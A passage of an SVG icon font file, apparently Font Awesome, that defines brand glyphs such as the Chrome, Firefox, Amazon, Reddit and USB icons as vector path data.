-0.888672 4.19141 -2.32715 5.63867l-11.2695 11.3096c-1.44824 1.44727 -3.4502 2.34277 -5.65625 2.34277c-2.20703 0 -4.20605 -0.895508 -5.6543 -2.34277v0z +M60 192c0 -4.41504 3.58496 -8 8 -8h16c4.41504 0 8 3.58496 8 8v0c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v0zM100.15 118.79c2.88672 1.20801 4.9082 4.0625 4.9082 7.38574c0 1.08496 -0.21582 2.12012 -0.608398 3.06445v0 +c-1.20215 2.90039 -4.06348 4.93457 -7.39648 4.93457c-1.08105 0 -2.1123 -0.214844 -3.05371 -0.604492l-14.75 -6.11035c-2.90234 -1.20117 -4.93848 -4.06348 -4.93848 -7.39746c0 -1.08496 0.216797 -2.11914 0.608398 -3.0625v0 +c1.2002 -2.90527 4.06348 -4.94336 7.39941 -4.94336c1.08008 0 2.11035 0.214844 3.05078 0.603516zM104.48 254.79c0.386719 0.939453 0.609375 1.93945 0.609375 3.0166c0 3.33203 -2.04102 6.19043 -4.93945 7.39355l-14.7803 6.12988 +c-0.941406 0.389648 -1.97461 0.613281 -3.05566 0.613281c-3.33301 0 -6.19238 -2.04297 -7.39453 -4.94336v0c-0.392578 -0.944336 -0.618164 -1.98047 -0.618164 -3.06641c0 -3.32324 2.03125 -6.17578 4.91797 -7.38379l14.7803 -6.12012 +c0.945312 -0.393555 1.9834 -0.619141 3.07129 -0.619141c3.34668 0 6.21582 2.05957 7.40918 4.97949v0zM197.57 30c0.427734 0.979492 0.672852 2.07129 0.672852 3.20801c0 4.41602 -3.58496 8 -8 8c-3.38867 0 -6.28809 -2.11035 -7.45312 -5.08789l-6.12988 -14.7803 +c-0.389648 -0.941406 -0.611328 -1.9834 -0.611328 -3.06543c0 -4.41699 3.58594 -8.00293 8.00293 -8.00293c3.33496 0 6.19727 2.04492 7.39844 4.94824zM264 4v16c0 4.41504 -3.58496 8 -8 8v0c-4.41504 0 -8 -3.58496 -8 -8v-16c0 -4.41504 3.58496 -8 8 -8v0 +c4.41504 0 8 3.58496 8 8zM331 10.9199c2.89941 1.20215 4.93262 4.0625 4.93262 7.39551c0 1.06934 -0.210938 2.09082 -0.592773 3.02441l-6.12988 14.7803c-1.20215 2.90039 -4.06348 4.93457 -7.39648 4.93457c-1.08105 0 -2.1123 -0.214844 -3.05371 -0.604492v0 +c-2.90039 -1.20215 -4.93457 -4.06348 -4.93457 -7.39648c0 -1.08105 0.214844 -2.1123 0.604492 -3.05371l6.11035 -14.75c1.20117 -2.90234 4.06348 -4.93848 7.39746 -4.93848c1.08496 0 2.11914 0.216797 3.0625 0.608398v0zM394.58 53.4102 +c1.44727 1.44824 2.35254 3.44922 2.35254 5.65625c0 2.19141 -0.883789 4.17773 -2.3125 5.62402l-11.3105 11.3096c-1.44727 1.44727 -3.44922 2.34277 -5.65527 2.34277c-2.20703 0 -4.20605 -0.895508 -5.6543 -2.34277v0 +c-1.43848 -1.44629 -2.32715 -3.44238 -2.32715 -5.6416c0 -2.19824 0.888672 -4.19141 2.32715 -5.63867l11.2695 -11.3096c1.44824 -1.44727 3.4502 -2.34277 5.65625 -2.34277c2.20703 0 4.20605 0.895508 5.6543 2.34277v0zM286.25 161.75l115.41 175.91 +l-175.91 -115.41l-115.41 -175.91zM437.08 117c0.392578 0.944336 0.618164 1.98047 0.618164 3.06641c0 3.32324 -2.03125 6.17578 -4.91797 7.38379l-14.7803 6.12012c-0.949219 0.396484 -1.99219 0.625 -3.08496 0.625c-3.33398 0 -6.19336 -2.04395 -7.39551 -4.94531 +v0c-0.388672 -0.941406 -0.613281 -1.97461 -0.613281 -3.05566c0 -3.33301 2.04297 -6.19238 4.94336 -7.39453l14.7803 -6.12988c0.941406 -0.389648 1.97461 -0.613281 3.05566 -0.613281c3.33301 0 6.19238 2.04297 7.39453 4.94336v0zM444 184c4.41504 0 8 3.58496 8 8 +v0c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v0c0 -4.41504 3.58496 -8 8 -8h16z" /> + <glyph glyph-name="chrome" unicode="" horiz-adv-x="496" +d="M131.5 230.5l-76.4004 117.4c47.6006 59.1992 119 91.7998 192 92.0996c42.3008 0.299805 85.5 -10.5 124.801 -33.2002c43.3994 -25.2002 76.3994 -61.3994 97.3994 -103l-205.3 10.7998c-58.0996 3.40039 -113.4 -29.2998 -132.5 -84.0996zM164.4 192 +c0 46.2998 37.3994 83.5996 83.5996 83.5996s83.5996 -37.3994 83.5996 -83.5996s-37.3994 -83.5996 -83.5996 -83.5996s-83.5996 37.3994 -83.5996 83.5996zM479.3 281.2c43.5 -111.9 0 -241.9 -107.399 -303.9c-43.4004 -25.2002 -91.3008 -35.3994 -137.801 -32.8994 +l112.101 172.399c31.8994 49 31.2998 112.9 -6.60059 157.2zM133.7 144.4c26.2998 -51.7002 81.8994 -83.3008 139.5 -72.5l-63.7002 -124.801c-118.7 18.2002 -209.5 120.9 -209.5 244.9c0 50.0996 14.9004 96.9004 40.4004 135.9z" /> + <glyph glyph-name="firefox" unicode="" horiz-adv-x="512" +d="M503.52 206.52c0.240234 -4.43945 0.360352 -9 0.480469 -13.5195c0 -137.19 -111.23 -248.42 -248.32 -248.42c-122.779 0 -224.859 89.2695 -244.779 206.38c-0.360352 3.24023 -0.720703 6.36035 -1.08008 9.59961c-4.91992 42.6006 0.479492 87.3604 16.0801 124.79 +c10.7998 25.8809 32.6396 54 49.7998 62.8809c-16.2002 -31.8008 -24.1201 -63 -25.7998 -83.8809c11.2793 37.2002 32.6299 68.3604 62.5098 90.3604c51.2402 37.6699 120.229 39.3604 147.71 15.3604c-51 -17.5107 -106.55 -87.96 -94.3105 -170.511 +c2.00586 -13.791 6.21289 -27.1582 12.1201 -39.2393c-9.51953 25.0801 -10.3594 60.3594 5 83.2793c17.1602 25.5508 41.6299 30.9502 54.71 28.1904c-5.15918 1.08008 -16.5596 -20.75 -18.2393 -24.5898c-3.99609 -9.09863 -6.25098 -19.1865 -6.25098 -29.7539 +c0 -0.416016 0.00390625 -0.832031 0.0107422 -1.24609c0.392578 -23.1182 10.1045 -44.0088 25.5596 -59c47.6504 -46.4307 124.561 -28.1602 159 24.8398c23.6406 36.4795 26.5205 98.3896 -3.83984 147.59c-7.62891 12.0801 -16.5693 22.9639 -26.8799 32.7598 +c-47.6602 45.4707 -116.06 64.6699 -180.24 52.9902c-0.240234 0 -0.599609 -0.120117 -0.839844 -0.120117c-1.7998 -0.359375 -3.47949 -0.719727 -5.16016 -1.08008c-0.359375 -0.120117 -0.839844 -0.120117 -1.2002 -0.239258l-5.87988 -1.44043 +c-14.5195 -3.55957 -34.7998 -10.7998 -49.4395 -19.5596c-0.09375 -0.0136719 -0.176758 -0.0566406 -0.240234 -0.120117l0.120117 0.120117c0 -0.0664062 -0.0537109 -0.120117 -0.120117 -0.120117l-0.120117 -0.120117l0.120117 0.120117h-0.129883l0.479492 0.479492 +c0.480469 0.480469 1.32031 1.16016 2.40039 2.16016c19.6797 17.7598 49.3203 31.9199 82.9102 39c14.7383 3.09766 29.8691 4.81543 45.4795 5h10.6299c12.9863 -0.311523 25.6123 -1.67188 38 -4c0.960938 -0.120117 1.76074 -0.360352 2.76074 -0.479492h0.120117 +c1.7998 -0.360352 3.71973 -0.84082 5.63965 -1.2002c19.2676 -4.375 38.0977 -11.0762 55.4297 -19.5605c2.40039 -1.2002 4.7998 -2.39941 7.2002 -3.71973c8.6748 -4.32129 16.8906 -9.37891 24.5996 -15.1201c4.32031 -3.12012 8.48047 -6.36035 12.4805 -9.83984 +c6.50781 -5.19434 12.5332 -10.6973 18.29 -16.7002c8.51074 -8.35645 16.2646 -17.1406 23.5098 -26.6396c0.959961 -1.2002 1.75977 -2.40039 2.75977 -3.71973c0.400391 -0.480469 0.640625 -0.84082 1 -1.32031l1.80078 -2.52051 +c0.359375 -0.479492 0.719727 -1.08008 1.08008 -1.55957c0.479492 -0.719727 1.0791 -1.56055 1.55957 -2.28027c0.441406 -0.571289 0.839844 -1.16992 1.2002 -1.7998l1.43945 -2.12988c0.441406 -0.571289 0.84082 -1.16992 1.2002 -1.7998 +c0.480469 -0.720703 0.959961 -1.56055 1.32031 -2.16016c0.359375 -0.600586 0.839844 -1.24023 1.2002 -1.91992c0.359375 -0.680664 0.839844 -1.32031 1.19922 -2c0.360352 -0.680664 0.84082 -1.28027 1.2002 -2c0.441406 -0.638672 0.842773 -1.30566 1.2002 -2 +c0.360352 -0.720703 0.839844 -1.56055 1.2002 -2.16016c0.359375 -0.599609 0.719727 -1.32031 1.08008 -1.91992c0.359375 -0.839844 0.799805 -1.67969 1.2002 -2.28027c0.399414 -0.599609 0.639648 -1.2002 1 -1.7998 +c0.359375 -0.839844 0.839844 -1.56055 1.19922 -2.40039c0.240234 -0.479492 0.480469 -1.08008 0.720703 -1.55957c0.479492 -0.839844 0.839844 -1.63965 1.31934 -2.63965l0.360352 -0.720703c1.75977 -3.71973 3.44043 -7.55957 5 -11.3994 +c0 -0.120117 0.120117 -0.240234 0.120117 -0.360352c0.439453 -1.2002 0.959961 -2.28027 1.43945 -3.48047c0.120117 -0.239258 0.240234 -0.599609 0.360352 -0.839844c0.480469 -1.08008 0.839844 -2.2793 1.32031 -3.35938 +c0.138672 -0.321289 0.261719 -0.660156 0.359375 -1c0.360352 -1.08008 0.84082 -2.28027 1.2002 -3.36035l0.360352 -1.08008c0.479492 -1.2002 0.839844 -2.28027 1.2002 -3.47949c0.119141 -0.400391 0.239258 -0.640625 0.359375 -1 +c0.360352 -1.08008 0.720703 -2.28027 1.08008 -3.48047c0.120117 -0.240234 0.120117 -0.599609 0.240234 -0.839844c0.360352 -1.2002 0.719727 -2.52051 1.08008 -3.71973c0.120117 -0.120117 0.120117 -0.360352 0.240234 -0.600586l1.08008 -4 +c0.119141 -0.120117 0.119141 -0.120117 0.119141 -0.240234c3.54297 -13.2549 6.04102 -27.1152 7.32031 -41.1494v-0.120117l0.360352 -4.67969v-0.120117c0 -1.56055 0.120117 -3.12012 0.239258 -4.68066z" /> + <glyph glyph-name="opera" unicode="" horiz-adv-x="496" +d="M313.9 415.3c-170.2 0 -252.601 -223.8 -147.5 -355.1c36.5 -45.4004 88.5996 -75.6006 147.5 -75.6006c36.2998 0 70.2998 11.1006 99.3994 30.4004c-43.7998 -39.2002 -101.899 -63 -165.3 -63c-3.90039 0 -8 0 -11.9004 0.299805 +c-131.5 6.10059 -236.1 114.601 -236.1 247.7c0 137 111 248 248 248h0.799805c63.1006 -0.299805 120.7 -24.0996 164.4 -63.0996c-29 19.3994 -63.1006 30.3994 -99.2998 30.3994zM415.7 17.5996c-40.9004 -24.6992 -90.7002 -23.5996 -132 5.80078 +c56.2002 20.5 97.7002 91.5996 97.7002 176.6c0 84.7002 -41.2002 155.8 -97.4004 176.6c41.7998 29.2002 91.2002 30.3008 132.9 5c105.899 -98.6992 105.5 -265.699 -1.2002 -364z" /> + <glyph glyph-name="internet-explorer" unicode="" horiz-adv-x="512" +d="M483.049 288.294c25.1963 -45.4473 33.2578 -97.5811 26.8516 -141.162h-328.792c0 -100.432 144.31 -136.029 196.818 -47.4355h120.833c-32.5645 -91.7285 -119.689 -146.022 -216.813 -146.022c-35.1367 0 -70.2725 0.143555 -101.695 15.5732 +c-87.3975 -44.4941 -180.251 -56.5693 -180.251 42.0059c0 45.8066 23.2461 107.096 43.9922 145.022c35.1357 63.7227 81.4121 124.875 135.687 173.168c-43.7061 -18.8604 -91.125 -66.2959 -121.977 -101.158c25.877 112.787 129.466 193.638 237.098 186.457 +c130.032 59.7939 209.673 34.1445 209.673 -38.5771c0 -27.4326 -10.5684 -63.2959 -21.4238 -87.8711zM64.5586 101.123c-73.001 -152.4 11.5254 -172.244 100.267 -123.304c-46.5635 27.4326 -82.5557 72.1533 -100.267 123.304zM180.536 209.996h207.961 +c-2 55.1514 -50.5635 94.8711 -103.981 94.8711c-53.7041 0 -101.979 -39.7197 -103.979 -94.8711zM365.072 397.596c46.2764 -18.002 85.9824 -57.2939 112.263 -99.5859c7.1416 18.8604 14.5693 47.8643 14.5693 67.8672c0 32.0049 -22.8525 53.7217 -54.2744 53.7217 +c-23.9951 0 -51.1328 -11.7158 -72.5576 -22.0029z" /> + <glyph glyph-name="contao" unicode="" horiz-adv-x="512" +d="M45.4004 143c14.3994 -67.0996 26.3994 -129 68.1992 -175h-79.5996c-18.7002 0 -34 15.2002 -34 34v380c0 18.7002 15.2002 34 34 34h57.7002c-13.7998 -12.5996 -26.1006 -27.2002 -36.9004 -43.5996c-45.3994 -70 -27 -146.801 -9.39941 -229.4zM478 416 +c18.7998 0 34 -15.2002 34 -34v-380.1c0 -18.8008 -15.2998 -34 -34 -34h-52.0996c38.6992 38.3994 60.5996 92.0996 57.3994 163.6l-137.399 -29.5996c-1.7002 -32.5 -12.9004 -63.8008 -57.4004 -73.2002c-24.9004 -5.2998 -45.4004 0.599609 -58.2998 11.7002 +c-15.7998 13.5 -28.4004 31 -49.5 131.199c-21.4004 100.5 -17 121.601 -8.2002 140.301c7.2998 15.2998 23.7002 29.2998 48.2998 34.5996c44.7998 9.40039 67.7002 -14.9004 82.6006 -43.9004l137.1 29.3008c-13.5 34.5996 -31.2998 62.6992 -52.7002 84.0996h90.2002z +" /> + <glyph glyph-name="500px" unicode="" +d="M103.3 103.7c-6.5 14.2002 -6.89941 18.2998 7.40039 23.0996c25.5996 8 8 -9.2002 43.2002 -49.2002h0.299805v93.9004c1.2002 50.2002 44 92.2002 97.7002 92.2002c53.8994 0 97.6992 -43.5 97.6992 -96.7998c0 -63.4004 -60.7998 -113.2 -128.5 -93.3008 +c-10.5 4.2002 -2.09961 31.7002 8.5 28.6006c53 0 89.4004 10.0996 89.4004 64.3994c0 61 -77.0996 89.6006 -116.9 44.6006c-23.5 -26.4004 -17.5996 -42.1006 -17.5996 -157.601c50.7002 -31 118.3 -22 160.4 20.1006c24.7998 24.7998 38.5 58 38.5 93 +c0 35.2002 -13.8008 68.2002 -38.8008 93.2998c-24.7998 24.7998 -57.7998 38.5 -93.2998 38.5s-68.7998 -13.7998 -93.5 -38.5c-0.299805 -0.299805 -16 -16.5 -21.2002 -23.9004l-0.5 -0.599609c-3.2998 -4.7002 -6.2998 -9.09961 -20.0996 -6.09961 +c-6.90039 1.69922 -14.2998 5.7998 -14.2998 11.7998v186.8c0 5 3.89941 10.5 10.5 10.5h241.3c8.2998 0 8.2998 -11.5996 8.2998 -15.0996c0 -3.90039 0 -15.1006 -8.2998 -15.1006h-223.2v-132.899h0.299805c104.2 109.8 282.801 36 282.801 -108.9 +c0 -178.1 -244.801 -220.3 -310.101 -62.7998zM166.6 364.5c3.80078 18.7998 145.101 50.7998 238.301 -38.2002c8.5 -7.5 -9.5 -22.7998 -14.3008 -22.7998c-6.59961 0 -84.5996 87.9004 -209.399 40.4004c-10 -3.90039 -15.1006 16.3994 -14.6006 20.5996zM393 33.2998 +c8.09961 8 27.5996 -12.5996 20.7002 -20.3994c-135.601 -135.601 -357.601 -52.1006 -381.601 121.3c-1.5 10.7002 28.9004 15.5 28.9004 3.2998c33 -165 222 -214.1 332 -104.2zM213.6 141.4c0 3.39941 2.30078 4.69922 20.4004 22.5996l-18.2002 18.2002 +c-5.59961 5.59961 7.40039 17.2998 12.4004 17.2998c3.09961 0 2.89941 -0.700195 21.5 -19.5l17.8994 17.9004c6.10059 6.09961 22.5 -8.90039 16.2002 -15.7002l-18.2002 -18.2002l17.3008 -17.2998c7.7998 -7.7998 -5.30078 -18.2002 -10.7002 -18.2002 +c-3.2002 0 -2.7002 0.200195 -22.2998 19.5c-19.7002 -19.7002 -18.5 -19.5 -22.3008 -19.5c-2.39941 0 -5.5 1.40039 -8.5 4.40039c-1.19922 1.19922 -5.5 4.5 -5.5 8.5z" /> + <glyph glyph-name="amazon" unicode="" +d="M257.2 285.3c0 39.2998 5.2002 69.2002 -35.5 69.1006c0 0 -37.9004 0 -54.2002 -49.5l-73.5 6.7998c0 49.2998 46.7002 104.3 134.7 104.3c87.7998 0 112.3 -57 112.3 -82.2998v-147.101c0 -27.5 32.2998 -52.7998 32.2998 -52.7998l-56.7998 -56 +c-9.90039 9.2998 -38.7998 36.6006 -45.2998 46.7998c-45.2002 -70.7998 -183.5 -66.2998 -183.5 43.2002c0 102 120.8 115.7 169.5 117.5zM257.2 198.5v40.5996c-33.7002 -1.09961 -84.2002 -10.5996 -84.2002 -57.7998c0 -50.7998 84.2002 -62.7998 84.2002 17.2002z +M393.2 35c-7.7002 -10 -70 -67 -174.5 -67s-184.5 71.5 -209 101c-6.7998 7.7002 1 11.2998 5.5 8.2998c73.2998 -44.5 187.8 -117.8 372.5 -30.2998c7.5 3.7002 13.2998 -2 5.5 -12zM433 32.7998c-6.5 -15.7998 -16 -26.7998 -21.2002 -31 +c-5.5 -4.5 -9.5 -2.7002 -6.5 3.7998s19.2998 46.5 12.7002 55c-6.5 8.30078 -37 4.30078 -48 3.2002c-10.7998 -1 -13 -2 -14 0.299805c-2.2998 5.7002 21.7002 15.5 37.5 17.5c15.7002 1.80078 41 0.800781 46 -5.69922c3.7002 -5.10059 0 -27.1006 -6.5 -43.1006z" /> + <glyph glyph-name="houzz" unicode="" +d="M275.9 117.3h-104.601v-149.3h-154.3v448h109.5v-104.5l305.1 -85.5996v-257.9h-155.699v149.3z" /> + <glyph glyph-name="vimeo-v" unicode="" +d="M447.8 294.4c-2 -43.6006 -32.3994 -103.301 -91.3994 -179.101c-60.9004 -79.2002 -112.4 -118.8 -154.601 -118.8c-26.0996 0 -48.2002 24.0996 -66.2998 72.2998c-35.2002 129.2 -50.2002 204.9 -79.2998 204.9c-3.40039 0 -15.1006 -7.10059 -35.2002 -21.1006 +l-21 27.2002c51.5996 45.2998 100.9 95.7002 131.8 98.5c34.9004 3.40039 56.2998 -20.5 64.4004 -71.5c28.7002 -181.5 41.3994 -208.899 93.5996 -126.7c18.7002 29.6006 28.7998 52.1006 30.2002 67.6006c4.7998 45.8994 -35.7998 42.7998 -63.2998 31 +c22 72.0996 64.0996 107.1 126.2 105.1c45.7998 -1.2002 67.5 -31.0996 64.8994 -89.3994z" /> + <glyph glyph-name="black-tie" unicode="" +d="M0 416h448v-448h-448v448zM316.5 90.7998l-64.5 184l64.4004 86.6006h-184.9l64.5 -86.6006l-64.5 -184l92.5 -88.7002z" /> + <glyph glyph-name="fonticons" unicode="" +d="M0 416h448v-448h-448v448zM187 275.1c11.9004 0 16.5996 -4.2998 16.2998 -23l50.7002 6.10059c0 44.5996 -30.5996 52.7998 -64.7002 52.7998c-50.7998 0 -77.2998 -20.4004 -77.2998 -70v-21h-28v-37.4004h22.2002c2.89941 0 5.7998 0 5.7998 -2.2998v-111.399 +c0 -5.60059 -1.5 -7.30078 -6.7002 -7.90039l-21.2998 -2v-25.7002h130.7v25.1006l-43.5 4.09961c-5.2002 0.599609 -3.2002 1.5 -3.2002 7.2998v112.9h55.7002l11.0996 37.2998h-67.3994c-2.90039 0 0.599609 2 0.599609 4.40039v23.2998 +c0 17.5 0.599609 27.3994 19 27.3994zM261.3 33.2998h102.601v25.1006l-15.7002 2.59961c-5.5 0.900391 -2.90039 1.5 -2.90039 7.2998v151.7h-80.2002l-6.69922 -29.5l24.1992 -6.40039c3.80078 -1.19922 6.7002 -3.7998 6.7002 -7.89941v-107.9 +c0 -5.59961 -2.39941 -6.7002 -7.59961 -7.2998l-20.4004 -2.59961v-25.1006zM342.1 288.8l21.9004 24.2002l-3.5 9.59961h-27.7002l-15.5 28h-9.2998l-15.5 -28h-27.7002l-3.5 -9.59961l21.7998 -24.2002l-9 -33.2002l7.30078 -7.2998l31.1992 16.6006l31.2002 -16.6006 +l7.2998 7.2998z" /> + <glyph glyph-name="reddit-alien" unicode="" horiz-adv-x="512" +d="M440.3 244.5c55.2998 0 73.7002 -74.0996 23.7998 -99.7002c2.2002 -7.89941 3.10059 -16.7002 3.10059 -25.0996c0 -83.7998 -94.4004 -151.7 -210.8 -151.7c-115.9 0 -210.301 67.9004 -210.301 151.7c0 8.39941 0.800781 16.7998 2.60059 24.7002 +c-50.9004 25.5 -32.7002 100.1 22.8994 100.1c15 0 28.7002 -6.2002 38.4004 -16.2998c35.7998 24.7002 83.4004 40.5996 136.3 42.7998l30.4004 137.6c1.2998 4.90039 6.09961 8.40039 11 7.10059l97.3994 -21.6006c6.60059 12.7002 19.9004 22 35.3008 22 +c22.0996 0 39.6992 -18.0996 39.6992 -39.6992c0 -21.6006 -17.6992 -39.7002 -39.6992 -39.7002c-21.6006 0 -39.2002 17.5996 -39.2002 39.2002l-88.2002 19.7998l-27.7002 -124.8c53.2998 -1.7002 101.4 -17.6006 137.101 -42.3008 +c9.69922 9.7002 22.8994 15.9004 37.8994 15.9004zM129.4 139.1c0 -21.5996 17.6992 -39.2998 39.6992 -39.1992c21.6006 0 39.2002 17.5996 39.2002 39.1992c0 22.1006 -17.5996 39.7002 -39.2002 39.7002c-22.0996 0 -39.6992 -17.7002 -39.6992 -39.7002zM343.7 45.5996 +c4 3.5 4 9.7002 -0.100586 13.7002c-3.5 3.5 -9.69922 3.5 -13.1992 0c-29 -29 -121.2 -28.5 -149 0c-3.5 3.5 -9.7002 3.5 -13.2002 0c-4 -4 -4 -10.2002 0 -13.7002c36.3994 -36.3994 139.1 -36.3994 175.5 0zM342.9 99.7998c22 0 39.5996 17.7002 39.6992 39.2002 +c0 22.0996 -17.6992 39.7002 -39.6992 39.7002c-21.6006 0 -39.2002 -17.7002 -39.2002 -39.7002c0 -21.5996 17.5996 -39.2002 39.2002 -39.2002z" /> + <glyph glyph-name="edge" unicode="" horiz-adv-x="512" +d="M481.92 313.52c6.46973 -12.7793 22.4697 -41.6494 21.9697 -85.0791c-0.0917969 -43.7148 -23.6953 -81.8525 -58.9492 -102.44c-17.1387 -10.1797 -37.2617 -16.1211 -58.6104 -16.1797c-0.139648 0 -52.6504 -2.56055 -80.5098 16.8096 +c-5.85059 4.08008 -9.14062 8.94043 -9.14062 14c0 6.16016 4.82031 9 6.39062 11c9.7998 12.75 15.1094 28.1699 15.1094 38.5703c0 32.71 -11 59.2998 -33 83.0996c-1.16016 1.25 -42.9795 50.1807 -122.25 50.1807c-63.2393 0 -123.46 -32.6504 -149.46 -79.1406 +c24.04 111.98 123.58 195.66 242.44 195.66c96.3496 0 184.96 -46.1797 226.01 -126.48zM212.77 -27.6699c1.28027 -0.570312 29.0107 -20.5898 67.1309 -27.21c-7.89551 -0.759766 -15.5156 -1.3584 -23.6084 -1.3584c-99.3408 0 -185.118 58.5361 -224.692 142.969 +c-25.75 55.4697 -24.0801 105.96 -23 118.27c4.16992 34.2803 27.0801 59.7002 46.8408 74.7998c29.6299 22.6904 68.8193 35.6904 107.529 35.6904c7.0498 0 43.9199 -0.900391 77.6406 -18.5898c32.5596 -17.1006 47.3193 -37.5801 56.5596 -53.5107 +c1.84961 -3.23242 3.49902 -6.64551 4.88965 -10.1396c-4.21973 4.65039 -40.0596 44.2002 -99.0596 -1c-26.6719 -19.334 -46.8008 -46.8369 -56.9697 -78.9199c-14.1406 -40.4004 -12.8398 -88.5801 20.0996 -136c12.2471 -18.1914 27.9951 -33.3955 46.6396 -45z +M463.49 70.6602c2.1748 -1.37305 3.60742 -3.80176 3.60742 -6.56152c0 -1.53418 -0.447266 -2.96484 -1.21777 -4.16895c-47.5703 -75.4297 -127.86 -108.87 -163 -108.87c-22.7002 0 -48.1299 6.95996 -71.7002 19.6104c-33 17.6699 -49.4893 38.7598 -56 47.6699 +c-46.3301 63.5303 -28.25 122.29 -13.3301 151.66c9.73145 19.1172 22.8193 35.9404 38.7607 50c-4.04688 -8.04102 -6.40625 -17.168 -6.52051 -26.75c0 -80.9404 79.8506 -144 171.521 -144c0.116211 0 0.310547 0.0693359 0.426758 0.0693359 +c24.3125 0 47.6045 4.40137 69.123 12.4502c6.98145 2.61816 13.8652 5.69824 20.4102 9.12012c1.11328 0.618164 2.41113 0.970703 3.77441 0.970703c1.52344 0 2.94531 -0.44043 4.14551 -1.2002z" /> + <glyph glyph-name="codiepie" unicode="" horiz-adv-x="472" +d="M422.5 245.1c30.7002 0 33.5 -53.0996 -0.299805 -53.0996h-10.7998v-44.2998h-26.6006v97.3994h37.7002zM472 95.4004c-42.0996 -91.9004 -121.6 -151.4 -224 -151.4c-137 0 -248 111 -248 248s111 248 248 248c97.4004 0 172.8 -53.7002 218.2 -138.4l-186 -108.8z +M433.5 82.9004l-60.2998 30.6992c-27.1006 -44.2998 -70.4004 -71.3994 -122.4 -71.3994c-82.5 0 -149.2 66.7002 -149.2 148.899c0 82.5 66.7002 149.2 149.2 149.2c48.4004 0 88.9004 -23.5 116.9 -63.3994l59.5 34.5996c-40.7002 62.5996 -104.7 100 -179.2 100 +c-121.2 0 -219.5 -98.2998 -219.5 -219.5s98.2998 -219.5 219.5 -219.5c78.5996 0 146.5 42.0996 185.5 110.4z" /> + <glyph glyph-name="modx" unicode="" +d="M356 206.2l36.7002 -23.7002v-214.5l-133 83.7998zM440 373l-83.2002 -134.3l-153.5 96.5l23 37.7998h213.7zM351 230.2l-249.8 -57.7002l-46 29v214.5zM97 153.8l249.7 57.7002l-125 -200.5h-213.7z" /> + <glyph glyph-name="fort-awesome" unicode="" horiz-adv-x="512" +d="M489.2 160.1c2.59961 0 4.59961 -2 4.5 -4.59961v-219.5h-182.9v96c0 72.5996 -109.7 72.5996 -109.7 0v-96h-182.899v219.5c0 2.59961 2 4.59961 4.59961 4.59961h27.4004c2.59961 0 4.59961 -2 4.59961 -4.59961v-32h36.6006v178.3 +c0 2.60059 2 4.60059 4.59961 4.60059h27.4004c2.59961 0 4.59961 -2 4.59961 -4.60059v-32h36.2998v32c0 2.60059 2 4.60059 4.60059 4.60059h27.3994c2.60059 0 4.60059 -2 4.60059 -4.60059v-32h36.5996v32c0 6 8 4.60059 11.7002 4.60059v111.699 +c-5.40039 2.60059 -9.10059 8.30078 -9.10059 14.3008c0 20.7998 31.4004 20.6992 31.4004 0c0 -6 -3.7002 -11.7002 -9.09961 -14.3008v-4.89941c7.69922 1.7998 15.6992 2.89941 23.6992 2.89941c11.7002 0 22.9004 -4.2998 32.6006 -4.2998 +c8.89941 0 18.8994 4.2998 24 4.2998c2.59961 0 4.59961 -2 4.59961 -4.59961v-60c0 -6.90039 -23.0996 -8 -27.7002 -8c-10.5 0 -20.5 4.2998 -31.3994 4.2998c-8.60059 0 -17.4004 -1.39941 -25.7002 -3.39941v-38c3.7002 0 11.7002 1.39941 11.7002 -4.60059v-32h36.5996 +v32c0 2.60059 2 4.60059 4.60059 4.60059h27.3994c2.60059 0 4.60059 -2 4.60059 -4.60059v-32h36.5996v32c0 2.60059 2 4.60059 4.59961 4.60059h27.4004c2.59961 0 4.59961 -2 4.59961 -4.60059v-178.3h36.6006v32c0 2.59961 2 4.59961 4.59961 4.59961h27.4004z +M201.1 164.6v64c0 2.60059 -2 4.60059 -4.59961 4.60059h-27.4004c-2.59961 0 -4.59961 -2 -4.59961 -4.60059v-64c0 -2.59961 2 -4.59961 4.59961 -4.59961h27.4004c2.59961 0 4.59961 2 4.59961 4.59961zM347.5 164.6v64c0 2.60059 -2 4.60059 -4.59961 4.60059h-27.4004 +c-2.59961 0 -4.59961 -2 -4.59961 -4.60059v-64c0 -2.59961 2 -4.59961 4.59961 -4.59961h27.4004c2.59961 0 4.59961 2 4.59961 4.59961z" /> + <glyph glyph-name="usb" unicode="" horiz-adv-x="640" +d="M641.5 192c0 -3.09961 -1.7002 -6.09961 -4.5 -7.5l-89.0996 -53.5c-1.40039 -0.799805 -2.80078 -1.40039 -4.5 -1.40039c-1.40039 0 -3.10059 0.300781 -4.5 1.10059c-2.80078 1.7002 -4.5 4.5 -4.5 7.7998v35.5996h-238.7 +c25.2998 -39.5996 40.5 -106.899 69.5996 -106.899h26.7002v26.7998c0 5 3.90039 8.90039 8.90039 8.90039h89.0996c5 0 8.90039 -3.90039 8.90039 -8.90039v-89.0996c0 -5 -3.90039 -8.90039 -8.90039 -8.90039h-89.0996c-5 0 -8.90039 3.90039 -8.90039 8.90039v26.6992 +h-26.7002c-75.3994 0 -81.0996 142.5 -124.7 142.5h-100.3c-8.09961 -30.5996 -35.8994 -53.5 -69 -53.5c-39.2998 0.100586 -71.2998 32.1006 -71.2998 71.4004s32 71.2998 71.2998 71.2998c33.1006 0 61 -22.7998 69 -53.5c39.1006 0 43.9004 -9.5 74.6006 60.4004 +c40.0996 89.0996 58.0996 82.0996 108.899 82.0996c7.5 20.9004 27 35.6006 50.4004 35.6006c29.5 0 53.5 -23.9004 53.5 -53.5c0 -29.6006 -23.9004 -53.5 -53.5 -53.5c-23.4004 0 -42.9004 14.7998 -50.4004 35.5996h-29.7998 +c-29.0996 0 -44.2998 -67.4004 -69.5996 -106.9h310.1v35.6006c0 3.2998 1.7002 6.09961 4.5 7.7998s6.40039 1.40039 8.90039 -0.299805l89.0996 -53.5c2.7998 -1.10059 4.5 -4.10059 4.5 -7.2002z" /> + <glyph glyph-name="product-hunt" unicode="" horiz-adv-x="512" +d="M326.3 229.2c0 -20.5 -16.7002 -37.2002 -37.2002 -37.2002h-70.2998v74.4004h70.2998c20.5 0 37.2002 -16.7002 37.2002 -37.2002zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM375.9 229.2 +c0 47.8994 -38.9004 86.7998 -86.8008 86.7998h-119.899v-248h49.5996v74.4004h70.2998c47.9004 0 86.8008 38.8994 86.8008 86.7998z" /> + <glyph glyph-name="mixcloud" unicode="" horiz-adv-x="640" +d="M424.43 228.271c42.3623 -9.1377 74.4805 -47.0693 74.4805 -92.2002c0 